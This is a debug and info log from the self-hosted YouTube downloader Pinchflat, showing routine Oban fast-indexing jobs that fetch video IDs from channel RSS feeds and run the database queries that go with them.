{"args":{"id":2},"id":575,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128612,"event":"job:stop","queue_time":562238,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:20:26.231 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:35.395 [info] {"args":{"id":1},"id":576,"meta":{},"system_time":1784884835395637157,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:20:35.395 [debug] QUERY OK source="sources" db=0.1ms idle=906.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 09:20:35.396 [debug] QUERY OK source="settings" db=0.0ms idle=906.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:35.396 [debug] QUERY OK source="media_profiles" db=0.0ms idle=906.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:20:35.396 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:35.396 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 09:20:35.593 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:20:35.594 [debug] QUERY OK source="media_items" db=0.2ms idle=198.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:20:35.596 [debug] QUERY OK source="media_items" db=2.0ms idle=198.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 09:20:35.597 [debug] QUERY OK source="tasks" db=0.0ms idle=201.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [579, 1, ~U[2026-07-24 09:20:35Z], ~U[2026-07-24 09:20:35Z]] 09:20:35.597 [info] {"args":{"id":1},"id":576,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":202057,"event":"job:stop","queue_time":631315,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:20:47.410 [info] {"args":{"id":3},"id":577,"meta":{},"system_time":1784884847410383202,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:20:47.410 [debug] QUERY OK source="sources" db=0.1ms idle=1920.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:20:47.410 [debug] QUERY OK source="settings" db=0.0ms idle=1920.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:47.410 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:20:47.411 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:47.411 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 09:20:47.439 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:20:47.440 [debug] QUERY OK source="media_items" db=0.2ms idle=29.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:20:47.443 [debug] QUERY OK source="media_items" db=3.0ms idle=29.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 09:20:47.444 [debug] QUERY OK source="tasks" db=0.0ms idle=33.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [580, 3, ~U[2026-07-24 09:20:47Z], ~U[2026-07-24 09:20:47Z]] 09:20:47.444 [info] {"args":{"id":3},"id":577,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":33904,"event":"job:stop","queue_time":645505,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:20:56.233 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.295 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:21:26.234 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:56.236 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.296 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:22:26.238 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:56.239 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.297 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:23:26.240 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:56.241 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.298 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:24:26.242 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:56.243 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.299 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:25:26.244 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:56.245 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.300 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:26:26.246 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:56.247 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.301 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:27:26.248 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:56.249 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.302 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:28:26.250 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:56.252 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.303 [info] {"source":"oban","duration":435,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:29:26.253 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:56.254 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.304 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:30:25.044 [info] {"args":{"id":2},"id":578,"meta":{},"system_time":1784885425044181253,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:30:25.044 [debug] QUERY OK source="sources" db=0.0ms idle=1553.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:30:25.044 [debug] QUERY OK source="settings" db=0.0ms idle=1553.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:30:25.044 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:30:25.044 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:30:25.044 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 09:30:25.296 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:30:25.297 [debug] QUERY OK source="media_items" db=0.4ms idle=252.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:30:25.297 [debug] QUERY OK source="media_items" db=0.3ms idle=253.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 09:30:25.298 [debug] QUERY OK source="tasks" db=0.1ms idle=253.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [581, 2, ~U[2026-07-24 09:30:25Z], ~U[2026-07-24 09:30:25Z]] 09:30:25.298 [info] {"args":{"id":2},"id":578,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":254474,"event":"job:stop","queue_time":533343,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:30:26.255 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:36.055 [info] {"args":{"id":1},"id":579,"meta":{},"system_time":1784885436055394681,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:30:36.055 [debug] QUERY OK source="sources" db=0.0ms idle=1564.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 09:30:36.055 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:30:36.055 [debug] QUERY OK source="media_profiles" db=0.0ms idle=565.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:30:36.055 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:30:36.056 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 09:30:36.095 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:30:36.095 [debug] QUERY OK source="media_items" db=0.2ms idle=39.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:30:36.097 [debug] QUERY OK source="media_items" db=2.0ms idle=40.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 09:30:36.098 [debug] QUERY OK source="tasks" db=0.1ms idle=42.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [582, 1, ~U[2026-07-24 09:30:36Z], ~U[2026-07-24 09:30:36Z]] 09:30:36.098 [info] {"args":{"id":1},"id":579,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":43285,"event":"job:stop","queue_time":457929,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:30:48.069 [info] 